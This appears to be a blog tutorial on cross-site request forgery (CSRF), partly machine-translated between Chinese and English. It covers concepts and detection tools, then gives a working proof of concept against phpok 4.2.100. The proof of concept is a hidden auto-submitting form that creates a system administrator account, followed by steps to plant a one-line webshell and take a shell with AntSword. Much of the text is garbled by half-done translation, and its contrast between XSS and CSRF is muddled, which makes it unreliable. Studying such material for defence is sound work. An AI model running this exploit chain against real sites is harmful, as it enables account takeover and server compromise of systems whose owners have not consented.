当前位置:网站首页>DAY17, CSRF vulnerability
DAY17, CSRF vulnerability
2022-07-30 04:30:00 【EdmunDJK】
DAY17、CSRF 漏洞
1、CSRF 漏洞简介
CSRF 的全称是Cross-site request forgery,即跨站请求伪造:
The attacker sends forged network requests to the attacked site in the identity of the attacker without the victim's knowledge,从而在未授权的情况下执行在权限保护之下的操作,具有很大的危害性.
具体来讲,可以这样理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等.
2、CSRF Vulnerability causes and principles
在进行操作时,The program did not verify the source and user of the operation request.

3、CSRF Vulnerability Jane and XSS 漏洞的区别
CSRF漏洞:
攻击者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击
XSS漏洞:
攻击者发现XSS漏洞——构造代码——发送给受害人——受害人打开——攻击者获取受害人的cookie——完成攻击.
XSS容易发现,Because the attacker needs to log in to the background to complete the attack.Administrators can look at logs to find attackers;
CSRF则不同,他的 Attacks have always been implemented by administrators themselves,The attacker is only responsible for constructing the code.
4、CSRF Vulnerability detection and exploitation
(1)(服务器对客户端的信任)用户已获取服务器认证,登录网站, 并在本地生成cookie(已进行网页认证)
(2)攻击者(或黑客)提供的恶意链接,Victims must Do not log out of vulnerable websites,同时使用同一个 浏览器打开(可通过社工的方法)
(3)网站除了验证Cookie,没有特殊验证方法
4.1、第一种方法:
使用 OWASP CSRFTester 工具进行检测.它是OWASP推出的CSRF半自动化软件,He left it outCSRF最繁琐的过程-------代码构造. 使用代理抓取我们在浏览器中访问过的所有的连接及表单等信息, 修改相应的表单等信息,重新提交,如果测试请求成功被网站服务器接受,则说明存在CSRF漏洞.

4.2、第二种方法:
使用 burpsuite 对 CSRF 漏洞进行检测. 首先抓取认为可能存在CSRFVulnerable request packet,然后查看是否存在 token 或 referer 验证. 如果不存在验证则可能存在 CSRF 漏洞 , 此时可使用 burpsuite 的 Engagement tools 去生成 CSRF 漏洞的 PoC ,去验证 CSRF 漏洞.

5、CSRF漏洞实例
phpok4.2.100CSRFAdd any administrator account:
一、Construct a form to add system administrators
<div style="display:none">
<form action="http://1xx.xxx.xxx.xx8:8081/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="account" value=""/>
<input type="hidden" name="pass" value=""/>
<input typ e="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script> var t = document.poc; t.account.value="666666"; t.pass.value="123456"; t.status.value="1"; t.if_system.value="1"; document.poc.submit(); </script>
</div>
二、Administrators visit this page
Log in with the administrator account,Visit this form.
At this point, you can successfully create an administrator user

三、Find the style management in the background management>>文件管理,Select Create Template File,写 Fill in the name when enteringxxx.html,抓包修改后缀名为php,如下图所示:

四、在文件管理中,选择一个文件,进行编辑,然后改名字.
(1)例如,如下图的 book_list.html
(2)编辑,Add a sentence Trojan horse in it
(3)提交,然后改名字.

五、访问.
(1)From the prompt at the bottom of the page,Paths can be guessed.
(2)访问页面
(3)蚁剑连接 getshell
边栏推荐
- Become a qualified cybersecurity, do you know this?
- cv2.polylines
- Unity beginner 5 cameras follow, border control and simple particle control (2 d)
- 精品MySQL面试题,备战八月99%必问!过不了面试算我的
- 我的Go+语言初体验——祝福留言小系统,让她也可以感受到你的祝福
- C. Travelling Salesman and Special Numbers (二进制 + 组合数)
- How does the Snapdragon 7 series chip perform?Reno8 Pro proves a new generation of God U
- mysql structure, index details
- Pytorch框架学习记录5——DataLoader的使用
- 【线性表】- LeetCode力扣三道练习题详解
猜你喜欢
随机推荐
Many overseas authoritative media hotly discuss TRON: laying the foundation for the decentralization of the Internet
数据目录是什么?为何需要它?
成为一个合格的网安,你知道这些吗?
SQLSERVER merges subquery data into one field
VUX Datetime 组件compute-days-function动态设置日期列表
Hongji was once again shortlisted in the Gartner 2022 RPA Magic Quadrant and achieved a significant jump in position
MNIST of Dataset: MNIST (handwritten digital image recognition + ubyte.gz file) data set introduction, download, usage (including data enhancement) detailed guide
golang中如何比较struct,slice,map是否相等以及几种对比方法的区别
2.5快速排序
Shell script basic editing specifications and variables
Pytorch框架学习记录5——DataLoader的使用
The 2nd Shanxi Province Network Security Skills Competition (Enterprise Group) Part of the WP (9)
Mysql version upgrade, copy the Data file directly, the query is very slow
[The Mystery of Cloud Native] Cloud Native Background && Definition && Detailed explanation of related technologies?
A brief introduction to the SSM framework
Introduction to Thymeleaf
Pytorch framework learning record 3 - the use of Transform
软件测试员必看!数据库知识mysql查询语句大全
在麒麟V10操作系统上安装MySQL数据库
PyG搭建R-GCN实现节点分类







![[MRCTF2020]Hello_ misc](/img/ea/0faacf6e544b60e3459d8ace4d5f42.png)

